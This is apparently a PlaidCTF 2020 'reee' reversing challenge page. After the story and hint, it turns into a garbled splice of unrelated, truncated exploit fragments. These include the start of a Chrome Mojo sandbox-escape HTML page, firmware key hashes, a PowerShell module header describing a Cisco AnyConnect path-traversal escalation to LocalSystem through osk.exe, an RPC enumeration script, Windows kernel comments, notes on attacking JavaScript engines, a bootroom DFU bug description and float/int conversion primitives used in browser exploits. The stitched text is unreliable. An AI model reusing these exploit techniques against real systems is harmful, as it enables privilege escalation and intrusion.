Aleksei Kulaev flatz

PlaidCTF 2020 : reee

Reversing (150 pts)

Story

Tired from all of the craziness in the Inner Sanctum, you decide to venture out to the beach to relax. You doze off in the sand only to be awoken by the loud “reee” of an osprey. A shell falls out of its talons and lands right where your head was a moment ago. No rest for the weary, huh? It looks a little funny, so you pick it up and realize that it’s backwards. I guess you’ll have to reverse it.

Problem details

Hint: The flag format is pctf{$FLAG}. This constraint should resolve any ambiguities in solutions.

	<html>
	<body></body>
	<script src="../mojo/public/js/mojo_bindings.js"></script>
	<script src="../third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
	<script src="../third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
	<script>
	var heap;
	var replace_data;
	var count = 0;
	var blob_registry_ptr = new blink.mojom.BlobRegistryPtr();

	=== iBridge2,1,iBridge2,3,iBridge2,4,iBridge2,5,iBridge2,7,iBridge2,8_3.5_16P5200_Restore.ipsw

	Firmware/dfu/iBEC.j137.RELEASE.im4p
	3723c95ba25706b4650a92177afc28af57e0a236fd0e46b83cffb6140392b63355562b5ed671bda6b5929ff728f0b324
	Firmware/dfu/iBSS.j140k.RELEASE.im4p
	34d7aa36e00b5c772bf7381c821253a714ed2714552a48a478b391faac32bc0eef2577d5a04e01f462648754eb9af69e
	Firmware/dfu/iBSS.j137.RELEASE.im4p
	4bb3ecf8b19401a009b5c0003b64ac3bae8258f6d9c42b91831927e348957dfde01384caa3fbee1b6e665d168b46fc47
	Firmware/dfu/iBEC.j680.RELEASE.im4p
	893d17aa768a6ebd8f85b4251ef8f692c766f7b1868bd974a3dc9fcd0dd9608e4e0709bd9208752d9515a636c129378c

	<#
	.Synopsis
	This module exploits a path traversal vulnerability in vpndownloader.exe of the Cisco AnyConnect client for Windows

	.Description
	This module exploits a path traversal vulnerability in vpndownloader.exe of the Cisco AnyConnect client for Windows.
	When the -Command argument isn't provided a DLL is created at C:\Program Files\Common Files\microsoft shared\ink\HID.dll.

	This DLL is used by the On-Screen Keyboard (osk.exe) of Windows, which is exposed on the login/lock screen.
	Opening the On-Screen Keyboard on this screen will run our DLL with LocalSystem privileges.

	$rpc = ls C:\Windows\System32\.exe, C:\Windows\System32\.dll \|Get-RpcServer -DbgHelpPath "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbghelp.dll"

	foreach ($rpc1 in $rpc)
	{
	$ourObject = New-Object -TypeName psobject
	$ourObject \| Add-Member -MemberType NoteProperty -Name InterfaceID -Value $rpc1.InterfaceID
	$ourObject \| Add-Member -MemberType NoteProperty -Name FileName -Value $rpc1.Name
	$ourObject \| Add-Member -MemberType NoteProperty -Name IsRunning -Value $rpc1.IsServiceRunning
	$ourObject \| Add-Member -MemberType NoteProperty -Name EndpointCount -Value $rpc1.EndpointCount
	$procs = $rpc1.Procedures.Name \| Out-String

	//
	// NtContinueEx is now used by ntdll!KiUserApcDispatcher.
	// The KCONTINUE_ARGUMENT structure is built in the KiInitializeUserApc
	// function.
	//

	typedef enum _KCONTINUE_TYPE
	{
	KCONTINUE_UNWIND,
	KCONTINUE_RESUME,

	\|=-----------------------------------------------------------------------=\|
	\|=-------------=[ 3 Years of Attacking JavaScript Engines ]=-------------=\|
	\|=-----------------------------------------------------------------------=\|
	\|=------------------------------=[ saelo ]=------------------------------=\|
	\|=-----------------------------------------------------------------------=\|

	The following are some brief notes about the changes that have taken place
	since the release of the "Attacking JavaScript Engines" paper [1]. In
	general, no big conceptional changes have happened since. Mitigations have
	been added to break some of the presented techniques and, as expected, a

	This bug was also called moonshine in the beginning
	Basically the following bug is present in all bootroms I have looked at:
	1. When usb is started to get an image over dfu, dfu registers an interface to handle all the commands and allocates a buffer for input and output
	2. if you send data to dfu the setup packet is handled by the main code which then calls out to the interface code
	3. the interface code verifies that wLength is shorter than the input output buffer length and if that's the case it updates a pointer passed as an argument with a pointer to the input output buffer
	4. it then returns wLength which is the length it wants to recieve into the buffer
	5. the usb main code then updates a global var with the length and gets ready to recieve the data packages
	6. if a data package is recieved it gets written to the input output buffer via the pointer which was passed as an argument and another global variable is used to keep track of how many bytes were recieved already
	7. if all the data was recieved th


	let ab = new ArrayBuffer(8);
	let fv = new Float64Array(ab);
	let dv = new BigUint64Array(ab);

	let f2i = (f) => {
	fv[0] = f;
	return dv[0];
	}

	<pre id="logs"></pre>

	<script>
	// utilities

	let arr = new Uint32Array(2);
	let arr64 = new Float64Array(arr.buffer); // use same buffer

	function floatToInt(float) {
	arr64[0] = float;